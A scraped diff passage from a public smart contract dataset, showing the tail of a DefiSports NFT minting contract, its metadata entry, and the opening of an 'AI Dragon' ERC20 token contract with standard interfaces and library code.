1002 |
+
nftName = "DefiSports Minting";
|
1003 |
+
nftSymbol = "Defi-NFT";
|
1004 |
+
stacking = IStacking(_stacking);
|
1005 |
+
}
|
1006 |
+
|
1007 |
+
function mint(address _to, uint256 _tokenId, string calldata _uri, uint256 royalityPercentage) external {
|
1008 |
+
require(stacking.isStackedUser(_to), "User Stacking is false");
|
1009 |
+
super._mint(_to, _tokenId);
|
1010 |
+
super._setTokenUri(_tokenId, _uri);
|
1011 |
+
royalityDetails[_tokenId].creator = _to;
|
1012 |
+
royalityDetails[_tokenId].percentage = royalityPercentage;
|
1013 |
+
}
|
1014 |
+
|
1015 |
+
function getRoyalityDetails(uint256 _tokenId) public view validNFToken(_tokenId) returns(address creator, uint256 percentage){
|
1016 |
+
creator = royalityDetails[_tokenId].creator;
|
1017 |
+
percentage = royalityDetails[_tokenId].percentage;
|
1018 |
+
return (creator, percentage);
|
1019 |
+
}
|
1020 |
+
|
1021 |
+
function setBaseUrlIPFS(string memory url) external onlyOwner{
|
1022 |
+
baseUrlIPFS = url;
|
1023 |
+
}
|
1024 |
+
|
1025 |
+
function getBaseUrlIPFS() external view returns (string memory){
|
1026 |
+
return baseUrlIPFS;
|
1027 |
+
}
|
1028 |
+
|
1029 |
+
function setStacking(address _stacking) external onlyOwner{
|
1030 |
+
stacking = IStacking(_stacking);
|
1031 |
+
}
|
1032 |
+
|
1033 |
+
function getStacking() external view returns (address _stacking){
|
1034 |
+
return address(stacking);
|
1035 |
+
}
|
1036 |
+
|
1037 |
+
function tokenURI(uint256 _tokenId) public override view returns (string memory){
|
1038 |
+
return string(abi.encodePacked(baseUrlIPFS, super.tokenURI(_tokenId)));
|
1039 |
+
}
|
1040 |
+
|
1041 |
+
}
|
organized_contracts/00/00040fa1294a61ca4c9447acf3f16d9060be83afbe6b21a8f19c88168b7b4d60/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"DefiSportsMinting","CompilerVersion":"v0.8.0+commit.c7dfd78e","Runs":200,"OptimizationUsed":true,"BytecodeHash":"00040fa1294a61ca4c9447acf3f16d9060be83afbe6b21a8f19c88168b7b4d60"}
|
organized_contracts/00/00044a0010ae59e234e1d9d1cdc07d0a00ee41d2343541b18abe6ce55a97eb8f/main.sol
ADDED
@@ -0,0 +1,1137 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// Telegram : https://t.me/AIDragonERC
|
4 |
+
|
5 |
+
// Twitter : https://twitter.com/AiDragonERC
|
6 |
+
|
7 |
+
/**
|
8 |
+
|
9 |
+
Tax : 0/0
|
10 |
+
|
11 |
+
AI Dragon aims to be a telegram based bot that caters to the need of crypto traders.
|
12 |
+
|
13 |
+
Al Dragon will help traders make decisions whether to buy a particular token or not by using the AID Blockchain tracker bot. This will work by the bot checking the wallets of the first/early buyers of the token to see if they are connected to pump and dump projects or if they are suspicious new wallets with airdropped tokens. It will give you a good insight of what is going on behind the scenes of the blockchain, without you wasting time tracking on etherscan
|
14 |
+
|
15 |
+
*/
|
16 |
+
|
17 |
+
// SPDX-License-Identifier: MIT
|
18 |
+
|
19 |
+
pragma solidity ^0.8.16;
|
20 |
+
|
21 |
+
abstract contract Context {
|
22 |
+
function _msgSender() internal view virtual returns (address) {
|
23 |
+
return msg.sender;
|
24 |
+
}
|
25 |
+
|
26 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
27 |
+
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
|
28 |
+
return msg.data;
|
29 |
+
}
|
30 |
+
}
|
31 |
+
|
32 |
+
interface IUniswapV2Pair {
|
33 |
+
event Approval(address indexed owner, address indexed spender, uint value);
|
34 |
+
event Transfer(address indexed from, address indexed to, uint value);
|
35 |
+
|
36 |
+
function name() external pure returns (string memory);
|
37 |
+
function symbol() external pure returns (string memory);
|
38 |
+
function decimals() external pure returns (uint8);
|
39 |
+
function totalSupply() external view returns (uint);
|
40 |
+
function balanceOf(address owner) external view returns (uint);
|
41 |
+
function allowance(address owner, address spender) external view returns (uint);
|
42 |
+
|
43 |
+
function approve(address spender, uint value) external returns (bool);
|
44 |
+
function transfer(address to, uint value) external returns (bool);
|
45 |
+
function transferFrom(address from, address to, uint value) external returns (bool);
|
46 |
+
|
47 |
+
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
48 |
+
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
49 |
+
function nonces(address owner) external view returns (uint);
|
50 |
+
|
51 |
+
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
|
52 |
+
|
53 |
+
event Mint(address indexed sender, uint amount0, uint amount1);
|
54 |
+
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
|
55 |
+
event Swap(
|
56 |
+
address indexed sender,
|
57 |
+
uint amount0In,
|
58 |
+
uint amount1In,
|
59 |
+
uint amount0Out,
|
60 |
+
uint amount1Out,
|
61 |
+
address indexed to
|
62 |
+
);
|
63 |
+
event Sync(uint112 reserve0, uint112 reserve1);
|
64 |
+
|
65 |
+
function MINIMUM_LIQUIDITY() external pure returns (uint);
|
66 |
+
function factory() external view returns (address);
|
67 |
+
function token0() external view returns (address);
|
68 |
+
function token1() external view returns (address);
|
69 |
+
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
|
70 |
+
function price0CumulativeLast() external view returns (uint);
|
71 |
+
function price1CumulativeLast() external view returns (uint);
|
72 |
+
function kLast() external view returns (uint);
|
73 |
+
|
74 |
+
function mint(address to) external returns (uint liquidity);
|
75 |
+
function burn(address to) external returns (uint amount0, uint amount1);
|
76 |
+
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
|
77 |
+
function skim(address to) external;
|
78 |
+
function sync() external;
|
79 |
+
|
80 |
+
function initialize(address, address) external;
|
81 |
+
}
|
82 |
+
|
83 |
+
interface IUniswapV2Factory {
|
84 |
+
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
85 |
+
|
86 |
+
function feeTo() external view returns (address);
|
87 |
+
function feeToSetter() external view returns (address);
|
88 |
+
|
89 |
+
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
90 |
+
function allPairs(uint) external view returns (address pair);
|
91 |
+
function allPairsLength() external view returns (uint);
|
92 |
+
|
93 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
94 |
+
|
95 |
+
function setFeeTo(address) external;
|
96 |
+
function setFeeToSetter(address) external;
|
97 |
+
}
|
98 |
+
|
99 |
+
interface IERC20 {
|
100 |
+
/**
|
101 |
+
* @dev Returns the amount of tokens in existence.
|
102 |
+
*/
|
103 |
+
function totalSupply() external view returns (uint256);
|
104 |
+
|
105 |
+
/**
|
106 |
+
* @dev Returns the amount of tokens owned by `account`.
|
107 |
+
*/
|
108 |
+
function balanceOf(address account) external view returns (uint256);
|
109 |
+
|
110 |
+
/**
|
111 |
+
* @dev Moves `amount` tokens from the caller's account to `recipient`.
|
112 |
+
*
|
113 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
114 |
+
*
|
115 |
+
* Emits a {Transfer} event.
|
116 |
+
*/
|
117 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
118 |
+
|
119 |
+
/**
|
120 |
+
* @dev Returns the remaining number of tokens that `spender` will be
|
121 |
+
* allowed to spend on behalf of `owner` through {transferFrom}. This is
|
122 |
+
* zero by default.
|
123 |
+
*
|
124 |
+
* This value changes when {approve} or {transferFrom} are called.
|
125 |
+
*/
|
126 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
127 |
+
|
128 |
+
/**
|
129 |
+
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
|
130 |
+
*
|
131 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
132 |
+
*
|
133 |
+
* IMPORTANT: Beware that changing an allowance with this method brings the risk
|
134 |
+
* that someone may use both the old and the new allowance by unfortunate
|
135 |
+
* transaction ordering. One possible solution to mitigate this race
|
136 |
+
* condition is to first reduce the spender's allowance to 0 and set the
|
137 |
+
* desired value afterwards:
|
138 |
+
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
139 |
+
*
|
140 |
+
* Emits an {Approval} event.
|
141 |
+
*/
|
142 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
143 |
+
|
144 |
+
/**
|
145 |
+
* @dev Moves `amount` tokens from `sender` to `recipient` using the
|
146 |
+
* allowance mechanism. `amount` is then deducted from the caller's
|
147 |
+
* allowance.
|
148 |
+
*
|
149 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
150 |
+
*
|
151 |
+
* Emits a {Transfer} event.
|
152 |
+
*/
|
153 |
+
function transferFrom(
|
154 |
+
address sender,
|
155 |
+
address recipient,
|
156 |
+
uint256 amount
|
157 |
+
) external returns (bool);
|
158 |
+
|
159 |
+
/**
|
160 |
+
* @dev Emitted when `value` tokens are moved from one account (`from`) to
|
161 |
+
* another (`to`).
|
162 |
+
*
|
163 |
+
* Note that `value` may be zero.
|
164 |
+
*/
|
165 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
166 |
+
|
167 |
+
/**
|
168 |
+
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
|
169 |
+
* a call to {approve}. `value` is the new allowance.
|
170 |
+
*/
|
171 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
172 |
+
}
|
173 |
+
|
174 |
+
interface IERC20Metadata is IERC20 {
|
175 |
+
/**
|
176 |
+
* @dev Returns the name of the token.
|
177 |
+
*/
|
178 |
+
function name() external view returns (string memory);
|
179 |
+
|
180 |
+
/**
|
181 |
+
* @dev Returns the symbol of the token.
|
182 |
+
*/
|
183 |
+
function symbol() external view returns (string memory);
|
184 |
+
|
185 |
+
/**
|
186 |
+
* @dev Returns the decimals places of the token.
|
187 |
+
*/
|
188 |
+
function decimals() external view returns (uint8);
|
189 |
+
}
|
190 |
+
|
191 |
+
|
192 |
+
contract ERC20 is Context, IERC20, IERC20Metadata {
|
193 |
+
using SafeMath for uint256;
|
194 |
+
|
195 |
+
mapping(address => uint256) private _balances;
|
196 |
+
|
197 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
198 |
+
|
199 |
+
uint256 private _totalSupply;
|
200 |
+
|
201 |
+
string private _name;
|
202 |
+
string private _symbol;
|
203 |
+
|
204 |
+
/**
|
205 |
+
* @dev Sets the values for {name} and {symbol}.
|
206 |
+
*
|
207 |
+
* The default value of {decimals} is 18. To select a different value for
|
208 |
+
* {decimals} you should overload it.
|
209 |
+
*
|
210 |
+
* All two of these values are immutable: they can only be set once during
|
211 |
+
* construction.
|
212 |
+
*/
|
213 |
+
constructor(string memory name_, string memory symbol_) {
|
214 |
+
_name = name_;
|
215 |
+
_symbol = symbol_;
|
216 |
+
}
|
217 |
+
|
218 |
+
/**
|
219 |
+
* @dev Returns the name of the token.
|
220 |
+
*/
|
221 |
+
function name() public view virtual override returns (string memory) {
|
222 |
+
return _name;
|
223 |
+
}
|
224 |
+
|
225 |
+
/**
|
226 |
+
* @dev Returns the symbol of the token, usually a shorter version of the
|
227 |
+
* name.
|
228 |
+
*/
|
229 |
+
function symbol() public view virtual override returns (string memory) {
|
230 |
+
return _symbol;
|
231 |
+
}
|
232 |
+
|
233 |
+
/**
|
234 |
+
* @dev Returns the number of decimals used to get its user representation.
|
235 |
+
* For example, if `decimals` equals `2`, a balance of `505` tokens should
|
236 |
+
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
|
237 |
+
*
|
238 |
+
* Tokens usually opt for a value of 18, imitating the relationship between
|
239 |
+
* Ether and Wei. This is the value {ERC20} uses, unless this function is
|
240 |
+
* overridden;
|
241 |
+
*
|
242 |
+
* NOTE: This information is only used for _display_ purposes: it in
|
243 |
+
* no way affects any of the arithmetic of the contract, including
|
244 |
+
* {IERC20-balanceOf} and {IERC20-transfer}.
|
245 |
+
*/
|
246 |
+
function decimals() public view virtual override returns (uint8) {
|
247 |
+
return 9;
|
248 |
+
}
|
249 |
+
|
250 |
+
/**
|
251 |
+
* @dev See {IERC20-totalSupply}.
|
252 |
+
*/
|
253 |
+
function totalSupply() public view virtual override returns (uint256) {
|
254 |
+
return _totalSupply;
|
255 |
+
}
|
256 |
+
|
257 |
+
/**
|
258 |
+
* @dev See {IERC20-balanceOf}.
|
259 |
+
*/
|
260 |
+
function balanceOf(address account) public view virtual override returns (uint256) {
|
261 |
+
return _balances[account];
|
262 |
+
}
|
263 |
+
|
264 |
+
/**
|
265 |
+
* @dev See {IERC20-transfer}.
|
266 |
+
*
|
267 |
+
* Requirements:
|
268 |
+
*
|
269 |
+
* - `recipient` cannot be the zero address.
|
270 |
+
* - the caller must have a balance of at least `amount`.
|
271 |
+
*/
|
272 |
+
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
|
273 |
+
_transfer(_msgSender(), recipient, amount);
|
274 |
+
return true;
|
275 |
+
}
|
276 |
+
|
277 |
+
/**
|
278 |
+
* @dev See {IERC20-allowance}.
|
279 |
+
*/
|
280 |
+
function allowance(address owner, address spender) public view virtual override returns (uint256) {
|
281 |
+
return _allowances[owner][spender];
|
282 |
+
}
|
283 |
+
|
284 |
+
/**
|
285 |
+
* @dev See {IERC20-approve}.
|
286 |
+
*
|
287 |
+
* Requirements:
|
288 |
+
*
|
289 |
+
* - `spender` cannot be the zero address.
|
290 |
+
*/
|
291 |
+
function approve(address spender, uint256 amount) public virtual override returns (bool) {
|
292 |
+
_approve(_msgSender(), spender, amount);
|
293 |
+
return true;
|
294 |
+
}
|
295 |
+
|
296 |
+
/**
|
297 |
+
* @dev See {IERC20-transferFrom}.
|
298 |
+
*
|
299 |
+
* Emits an {Approval} event indicating the updated allowance. This is not
|
300 |
+
* required by the EIP. See the note at the beginning of {ERC20}.
|
301 |
+
*
|
302 |
+
* Requirements:
|
303 |
+
*
|
304 |
+
* - `sender` and `recipient` cannot be the zero address.
|
305 |
+
* - `sender` must have a balance of at least `amount`.
|
306 |
+
* - the caller must have allowance for ``sender``'s tokens of at least
|
307 |
+
* `amount`.
|
308 |
+
*/
|
309 |
+
function transferFrom(
|
310 |
+
address sender,
|
311 |
+
address recipient,
|
312 |
+
uint256 amount
|
313 |
+
) public virtual override returns (bool) {
|
314 |
+
_transfer(sender, recipient, amount);
|
315 |
+
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
316 |
+
return true;
|
317 |
+
}
|
318 |
+
|
319 |
+
/**
|
320 |
+
* @dev Atomically increases the allowance granted to `spender` by the caller.
|
321 |
+
*
|
322 |
+
* This is an alternative to {approve} that can be used as a mitigation for
|
323 |
+
* problems described in {IERC20-approve}.
|
324 |
+
*
|
325 |
+
* Emits an {Approval} event indicating the updated allowance.
|
326 |
+
*
|
327 |
+
* Requirements:
|
328 |
+
*
|
329 |
+
* - `spender` cannot be the zero address.
|
330 |
+
*/
|
331 |
+
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
332 |
+
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
333 |
+
return true;
|
334 |
+
}
|
335 |
+
|
336 |
+
/**
|
337 |
+
* @dev Atomically decreases the allowance granted to `spender` by the caller.
|
338 |
+
*
|
339 |
+
* This is an alternative to {approve} that can be used as a mitigation for
|
340 |
+
* problems described in {IERC20-approve}.
|
341 |
+
*
|
342 |
+
* Emits an {Approval} event indicating the updated allowance.
|
343 |
+
*
|
344 |
+
* Requirements:
|
345 |
+
*
|
346 |
+
* - `spender` cannot be the zero address.
|
347 |
+
* - `spender` must have allowance for the caller of at least
|
348 |
+
* `subtractedValue`.
|
349 |
+
*/
|
350 |
+
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
351 |
+
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
352 |
+
return true;
|
353 |
+
}
|
354 |
+
|
355 |
+
/**
|
356 |
+
* @dev Moves tokens `amount` from `sender` to `recipient`.
|
357 |
+
*
|
358 |
+
* This is internal function is equivalent to {transfer}, and can be used to
|
359 |
+
* e.g. implement automatic token fees, slashing mechanisms, etc.
|
360 |
+
*
|
361 |
+
* Emits a {Transfer} event.
|
362 |
+
*
|
363 |
+
* Requirements:
|
364 |
+
*
|
365 |
+
* - `sender` cannot be the zero address.
|
366 |
+
* - `recipient` cannot be the zero address.
|
367 |
+
* - `sender` must have a balance of at least `amount`.
|
368 |
+
*/
|
369 |
+
function _transfer(
|
370 |
+
address sender,
|
371 |
+
address recipient,
|
372 |
+
uint256 amount
|
373 |
+
) internal virtual {
|
374 |
+
require(sender != address(0), "ERC20: transfer from the zero address");
|
375 |
+
require(recipient != address(0), "ERC20: transfer to the zero address");
|
376 |
+
|
377 |
+
_beforeTokenTransfer(sender, recipient, amount);
|
378 |
+
|
379 |
+
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
|
380 |
+
_balances[recipient] = _balances[recipient].add(amount);
|
381 |
+
emit Transfer(sender, recipient, amount);
|
382 |
+
}
|
383 |
+
|
384 |
+
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
|
385 |
+
* the total supply.
|
386 |
+
*
|
387 |
+
* Emits a {Transfer} event with `from` set to the zero address.
|
388 |
+
*
|
389 |
+
* Requirements:
|
390 |
+
*
|
391 |
+
* - `account` cannot be the zero address.
|
392 |
+
*/
|
393 |
+
function _mint(address account, uint256 amount) internal virtual {
|
394 |
+
require(account != address(0), "ERC20: mint to the zero address");
|
395 |
+
|
396 |
+
_beforeTokenTransfer(address(0), account, amount);
|
397 |
+
|
398 |
+
_totalSupply = _totalSupply.add(amount);
|
399 |
+
_balances[account] = _balances[account].add(amount);
|
400 |
+
emit Transfer(address(0), account, amount);
|
401 |
+
}
|
402 |
+
|
403 |
+
/**
|
404 |
+
* @dev Destroys `amount` tokens from `account`, reducing the
|
405 |
+
* total supply.
|
406 |
+
*
|
407 |
+
* Emits a {Transfer} event with `to` set to the zero address.
|
408 |
+
*
|
409 |
+
* Requirements:
|
410 |
+
*
|
411 |
+
* - `account` cannot be the zero address.
|
412 |
+
* - `account` must have at least `amount` tokens.
|
413 |
+
*/
|
414 |
+
function _burn(address account, uint256 amount) internal virtual {
|
415 |
+
require(account != address(0), "ERC20: burn from the zero address");
|
416 |
+
|
417 |
+
_beforeTokenTransfer(account, address(0), amount);
|
418 |
+
|
419 |
+
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
|
420 |
+
_totalSupply = _totalSupply.sub(amount);
|
421 |
+
emit Transfer(account, address(0), amount);
|
422 |
+
}
|
423 |
+
|
424 |
+
/**
|
425 |
+
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
|
426 |
+
*
|
427 |
+
* This internal function is equivalent to `approve`, and can be used to
|
428 |
+
* e.g. set automatic allowances for certain subsystems, etc.
|
429 |
+
*
|
430 |
+
* Emits an {Approval} event.
|
431 |
+
*
|
432 |
+
* Requirements:
|
433 |
+
*
|
434 |
+
* - `owner` cannot be the zero address.
|
435 |
+
* - `spender` cannot be the zero address.
|
436 |
+
*/
|
437 |
+
function _approve(
|
438 |
+
address owner,
|
439 |
+
address spender,
|
440 |
+
uint256 amount
|
441 |
+
) internal virtual {
|
442 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
443 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
444 |
+
|
445 |
+
_allowances[owner][spender] = amount;
|
446 |
+
emit Approval(owner, spender, amount);
|
447 |
+
}
|
448 |
+
|
449 |
+
/**
|
450 |
+
* @dev Hook that is called before any transfer of tokens. This includes
|
451 |
+
* minting and burning.
|
452 |
+
*
|
453 |
+
* Calling conditions:
|
454 |
+
*
|
455 |
+
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
|
456 |
+
* will be to transferred to `to`.
|
457 |
+
* - when `from` is zero, `amount` tokens will be minted for `to`.
|
458 |
+
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
|
459 |
+
* - `from` and `to` are never both zero.
|
460 |
+
*
|
461 |
+
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
|
462 |
+
*/
|
463 |
+
function _beforeTokenTransfer(
|
464 |
+
address from,
|
465 |
+
address to,
|
466 |
+
uint256 amount
|
467 |
+
) internal virtual {}
|
468 |
+
}
|
469 |
+
|
470 |
+
library SafeMath {
|
471 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
472 |
+
uint256 c = a + b;
|
473 |
+
